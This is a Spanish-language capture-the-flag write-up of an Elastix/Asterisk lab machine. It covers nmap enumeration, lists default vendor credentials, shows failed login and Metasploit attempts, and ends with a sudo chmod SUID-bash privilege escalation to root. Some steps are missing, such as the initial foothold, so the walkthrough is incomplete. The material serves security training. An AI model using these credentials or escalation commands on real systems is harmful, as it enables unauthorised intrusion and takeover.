# -----> TCP$ nmap -sT -Pn -p- --open 10.129.229.183 # Encuentra los puertos 22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000 abiertos$ nmap -sT -Pn 10.129.229.183 -sVC -p22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.129.229.183/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp open pop3?
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 853/udp status
|_ 100024 1 856/tcp status
143/tcp open imap?
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2026-08-18T23:01:46+00:00; 0s from scanner time.
856/tcp open status 1 (RPC #100024)
993/tcp open imaps?
995/tcp open pop3s?
3306/tcp open mysql?
4190/tcp open sieve?
4445/tcp open upnotifyp?
4559/tcp open hylafax?
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1
# -----> UDP$ sudo nmap -sU -Pn --top-ports=200 10.129.229.183 --open # Encuentra 111,123,10000$ sudo nmap -sU -Pn -p111,123,10000 -sVC 10.129.229.183 --open
PORT STATE SERVICE VERSION
111/udp open rpcbind 2 (RPC) # El mismo que en 111/tcp| rpcinfo:
| program version port/proto service
| 1000002 111/tcp rpcbind
| 1000002 111/udp rpcbind
| 1000241 853/udp status
|_ 1000241 856/tcp status
123/udp open ntp NTP v4 (secondary server) # Servicio de tiempo, irrelevante10000/udp open webmin (https on TCP port 10000) # Igual que en 10000/tcp?
Tenemos bastantes puertos abiertos en TCP, así que vamos a ir mirándolos de uno en uno.
22/tcp (OpenSSH 4.3): Versión muy vieja (de 2006). Tiene varias vulnerabilidades anteriores a la fecha de salida de la máquina (15/3/2017), algunas relevantes listadas debajo.
CVE-2006-5051 (Condición de carrera, potencial RCE): Fue el CVE precursor de RegreSSHion (CVE-2024-6387) y ya afectaba a esta versión. Era incluso más difícil de explotar que RegreSSHion así que lo descartamos.
CVE-2008-1483 (Secuestro de X11-Session-Forwarding local): En alguna situación específica podría servirnos para elevar privilegios o hacer movimiento lateral, lo apuntamos por si acaso.
25/tcp (Servicio desconocido): Probablemente se trate de SMTP, pero nmap no ha sabido reconocerlo y ni siquiera ha podido conectarse al puerto.
80/tcp (Apache httpd 2.2.3): Redirige al puerto 443 y nos avisa de que el SO es CentOS.
110/tcp (Servicio desconocido): Junto con SMTP, cuadraría que fuese POP3, y de hecho posiblemente lo sea. El 995/tcp es POP3s.
111/tcp (rpcbind): El puerto en el que se mapean los endpoints de RPC específicos.
143/tcp (Servicio desconocido): Probablemente IMAP, el 993/tcp es IMAPs.
443/tcp (httpd 2.2.3): La versión con cifrado. Solo se soporta TLS1.0 así que curl no funcionará a no ser que especifiquemos esa versión, y Firefox tampoco a no ser que cambiemos ajustes. Si queremos entrar en un navegador sin modificar nada podemos usar el de BurpSuite.
El servicio en uso es Elastix, un software de código abierto de VoIP y comunicaciones (telefonía).
856/tcp (status): Una función de RPC, no sabemos qué es.
3306/tcp (MySQL): Base de datos, posiblemente contenga algo importante.
5038/tcp (Asterisk 1.1): Servicio de control de un servidor de telefonía. Tiene algunas vulnerabilidades de ejecución de comandos del SO y Arbitrary File Write
10000/tcp (MiniServ 1.570): Un servidor web, tiene vulnerabilidades de RCE (CVE-2012-2982) como root.
De los siguientes puertos tenemos menos información, los miraremos más a fondo si no nos queda otra, pero tras una búsqueda encontramos lo siguiente:
1
2
3
4190/tcp sieve # Software para ordenar y filtrar emails del lado del server4445/tcp upnotifyp # No es UPNotifyp sino FOP2 (Servicio de operadora telefónica)4559/tcp hylafax # Servicio de FAX
De todas formas, solo con lo de TCP ya tenemos bastante contexto de la máquina:
Hay servicio de telefonía (Elastix en 443, Asterisk en 5038, FOP2 en 4445)
Hay servicio de email (SMTP, IMAP(S), POP3(S), Sieve)
Hay base de datos (MySQL), quizás para guardar contactos y datos de usuarios?
Hay servicio de FAX (HylaFax)
Todo apunta a que se trata de un servidor de una empresa. Además, todos los puertos abiertos relevantes que hay en UDP tienen un equivalente en TCP, así que salvo que nos quedemos sin opciones más adelante, podemos empezar a buscar cómo entrar.
Vamos a echar un vistazo a la versión de Elastix por si tiene alguna vulnerabilidad importante.
MiniServ 1.570 tiene una vulnerabilidad de RCE como root, pero requiere credenciales, así que en que las tengamos probaremos a explotarla. Podemos buscar esas credenciales de varias formas:
SMTP permite enumerar usuarios por fuerza bruta.
MySQL quizás contiene datos de usuarios.
La función de RPC (856/tcp) quizás expone algún dato.
Una vez tengamos el usuario podemos sacar su contraseña a fuerza bruta y conectarnos a su cuenta de correo (IMAP/POP3).
Empezamos con Elastix, que al entrar nos muestra esto (desde el navegador de BurpSuite):
Si miramos el código fuente, veremos que no hay nada. Además, tras buscar formas de enumerar la versión de Elastix desde el Web GUI, veo que no hay ninguna. Una cosa que podemos probar son las credenciales por defecto.
Curiosamente, tras una búsqueda doy con esta y esta otra página que listan las credenciales por defecto de Elastix Web GUI, MySQL, y otras que aparecen aquí.
Elastix Web GUI:
admin:palosanto
superadmin:palosanto
admin:abcas
MySQL: root:eLaStIx.2oo7
FreePBX: admin:admin
FOP: admin:eLaStIx.2oo7
Asterisk:
admin:elastix456789
admin:amp111
phpagi:phpagi
Tras probar algunas en Elastix, veremos que no funcionan, así que tendremos que ir por otro sitio.
Podemos probar con las credenciales por defecto de MySQL, pero también daremos con una respuesta negativa:
1
2
3
4
5
$ mysql -h 10.129.229.183 -u "root" -p'eLaStIx.2oo7'ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '10.10.14.102' is not allowed to connect to this MySQL server
$ mysql -h 10.129.229.183 -u "root" -p'eLaStIx.2oo7' --skip-ssl
ERROR 1130 (HY000): Host '10.10.14.102' is not allowed to connect to this MySQL server
Buscando qué más puede hacerse, doy con que Metasploit tiene un módulo auxiliary/gather/asterisk_creds que permite enumerar usuarios de Asterisk. No perdemos nada por usarlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf > use auxiliary/gather/asterisk_creds
msf auxiliary(gather/asterisk_creds) > show options
Module options (auxiliary/gather/asterisk_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD amp111 yes The password for the specified username
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 5038 yes The target port (TCP)
USERNAME admin yes The username for Asterisk Call Manager
msf auxiliary(gather/asterisk_creds) > set rhosts 10.129.229.183
msf auxiliary(gather/asterisk_creds) > run
[*] Running module against 10.129.229.183
[*] 10.129.229.183:5038 - Found Asterisk Call Manager version 1.1
[-] 10.129.229.183:5038 - Auxiliary aborted due to failure: no-access: Authentication failed
[*] Auxiliary module execution completed
Lamentablemente ha fallado, y si probamos con cualquiera de las combinaciones anteriores también lo hará, así que de aquí no podemos sacar nada.
También podemos conectarnos desde netcat (ncat 10.129.229.183 5038) y mandar comandos como Action: Login, pero no hay ninguno que nos sirva de algo sin estar autenticados.
Intento conectarme al servicio del puerto 856 para ver si consigo sacar algo de información, pero tampoco encuentro nada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
# Pasa un rato y no recibo nada$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
status # Pruebo a mandar algostatus # otra vezNcat: 14 bytes sent, 0 bytes received in 28.33 seconds.
$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Ncat: 137 bytes sent, 0 bytes received in 8.83 seconds.
Ese s=1256995295 es, al parecer, una marca de tiempo en epoch, que corresponde al 31 de octubre de 2009. Estas marcas de tiempo se usan para que cuando el servidor actualice sus archivos, las marcas cambien y el navegador se vea forzado a descargarlos de nuevo (y evitar usar una página desactualizada de caché).
Esto significa que la versión en uso de la interfaz del webmail (que es para lo que sirve app.js aquí) lleva sin cambiar desde el 31/10/2009. Por esas fechas, la versión en uso de RoundCube Webmail era la 0.3.1.
Si buscamos vulnerabilidades, hay bastantes: XSS, CSRF, SSRF, y una de RCE crítica reciente (CVE-2025-49113), pero todas ellas requieren autenticación, y no tenemos credenciales, así que de momento no podemos usarlas.
Aunque no tenemos credenciales, si vamos al panel de login (/admin), se nos pedirá iniciar sesión mediante HTTP Basic Auth, y si pulsamos Cancel, veremos lo siguiente:
La versión en uso es FreePBX 2.8.1.4, y si la buscamos en Google, veremos que no necesariamente hay vulnerabilidades importantes.
Aunque no hayamos podido sacar mucho de FreePBX, conocer su versión sí nos ha dado información útil. Ahora mismo sabemos lo siguiente de las versiones:
FreePBX 2.8.1.4
RoundCube WebMail 0.3.1
Asterisk 1.1
Con una búsqueda rápida, encontraremos que el software Elastix no iba solo, sino que se descargaba como un paquete (bundle) junto con los mencionados aquí. Esto significa que es probable que podamos deducir la versión de Elastix en función del software que iba junto a él en el bundle.
Si buscamos qué versión de Elastix se distribuía con esas otras, daremos con que era una entre Elastix 2.2.0, 2.3.0 y 2.4.0.
bash-3.2$ sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
Y parece que ya tenemos root, solo queda darnos la vía.
1
2
3
4
bash-3.2$ sudo /bin/chmod +s /bin/bash
bash-3.2$ /bin/bash -p && sudo /bin/chmod -s /bin/bash # Ejecutamos el shell y dejamos todo como estaba al salir.bash-3.2# whoami
root
Y ya tenemos root.
Al final no hemos seguido el camino que habíamos marcado al principio porque no hemos conseguido unas credenciales, pero si no tuviésemos los privilegios sudo tan permisivos que teníamos, posiblemente hubiésemos tenido que buscar alguna entre los archivos del sistema para ejecutar el exploit.
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de DNS, Subdominios, “Bypass” de extensión en File Upload, Webshell, Privesc mediante binario custom.
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de mDNS (UDP), Raspberry Pi, Credenciales por defecto, Sudo NOPASSWD, Copia de disco con dd, Recuperación de archivos borrados